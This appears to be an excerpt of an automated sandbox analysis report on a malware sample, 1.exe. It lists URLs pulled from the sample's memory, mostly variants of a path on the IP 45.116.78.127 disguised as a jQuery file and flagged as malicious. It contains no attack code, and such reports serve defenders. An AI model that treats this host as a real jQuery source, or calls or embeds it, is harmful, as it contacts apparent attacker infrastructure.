https://45.116.78.127/jquery-3.3.1.min.jsB_F	0%	Avira URL Cloud	safe
https://45.116.78.127/E	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsiU	0%	Avira URL Cloud	safe
https://45.116.78.127/	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsiO	0%	Avira URL Cloud	safe
https://45.116.78.127/R	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsR3-	0%	Avira URL Cloud	safe
https://45.116.78.127/i	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js	0%	Avira URL Cloud	safe
https://45.116.78.127/l	0%	Avira URL Cloud	safe
https://45.116.78.127/rovider	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.js/=	0%	Avira URL Cloud	safe
https://45.116.78.127/jquery-3.3.1.min.jsyptography	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
45.116.78.127	true	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://45.116.78.127/jquery-3.3.1.min.jsj	1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/16.78.127/der	1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsi	1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2318143913.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2279731119.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412570457.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3177724289.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2374875810.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsh	1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412463885.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2221934852.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393356882.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2200192483.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://code.jquery.com/	1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412463885.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D9C000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2221934852.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D3C000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393356882.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://45.116.78.127/crosic	1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsicate	1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsm	1.exe, 00000000.00000003.2450808261.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2318143913.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2469922899.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2241098849.000002B669DFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js-end-point:	1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/p	1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsp	1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsv	1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsi%	1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jss	1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/der	1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196282775.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsY	1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsa	1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/roviderU	1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2923043972.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941828835.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3177724289.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jse	1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://code.jquery.com/I	1.exe, 00000000.00000003.2068730463.000002B669D9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://45.116.78.127/jquery-3.3.1.min.jsI	1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/16.78.127/l	1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsG	1.exe, 00000000.00000003.2200192483.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2260354455.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2241098849.000002B669DFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsM	1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234770394.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941828835.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/jquery-3.3.1.min.js/rovider	1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3119307893.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsQ	1.exe, 00000000.00000003.2431369324.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337370173.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412570457.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393456740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2374875810.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsP	1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3177724289.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/jquery-3.3.1.min.jsO	1.exe, 00000000.00000003.2260354455.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2241098849.000002B669DFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsU	1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/dep	1.exe, 00000000.00000003.2591343411.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196282775.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/)	1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06ad	1.exe, 00000000.00000003.2529187313.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.js=	1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2489366194.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3102254380.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/16.78.127/	1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsdb-53011b87bd06C	1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/jquery-3.3.1.min.jsE	1.exe, 00000000.00000003.3045966688.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2547616928.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2960557486.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3083402749.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2570626524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3025923840.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2987847144.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://45.116.78.127/jquery-3.3.1.min.jsC	1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://45.116.78.127/9	1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://code.jquery.com/i	1.exe, 00000000.00000003.2240965688.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2279731119.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2200281283.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2162144150.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2260354455.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://45.116.78.127/jquery-3.3.1.min.js)	1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
